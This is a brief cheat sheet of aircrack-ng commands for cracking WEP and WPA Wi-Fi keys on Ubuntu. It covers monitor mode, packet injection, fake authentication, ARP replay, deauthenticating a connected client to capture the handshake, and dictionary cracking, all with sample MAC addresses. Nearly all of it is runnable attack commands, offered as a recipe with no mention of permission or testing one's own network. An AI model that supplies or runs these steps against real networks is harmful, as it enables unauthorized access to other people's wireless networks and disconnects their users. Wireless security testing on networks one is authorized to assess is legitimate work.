Follow these steps for a succesful WEP crack in Ubuntu:

download necessary files
sudo apt-get install aircrack-ng

place card in monitor mode
sudo airmon-ng start wlan0

test injection
sudo aireplay-ng -9 -e linksys -a 00:14:6C:7E:40:80 mon0
(0% means injection not working)

capture data and write to file called output
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w output mon0

fake authentication
sudo aireplay-ng -1 0 -e linksys -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

replay mode
sudo aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 mon0

run aircrack
sudo aircrack-ng -z -b 00:14:6C:7E:40:80 output*.cap

For WPA cracking follow this:

monitor mode
sudo airmon-ng start wlan0

collect handshake
sudo airodump-ng -c 9 –bssid 00:14:6C:7E:40:80 -w psk mon0

deauth connected client
sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 mon0

cracking
sudo aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

These are just refreshers. For more help check www.aircrack-ng.org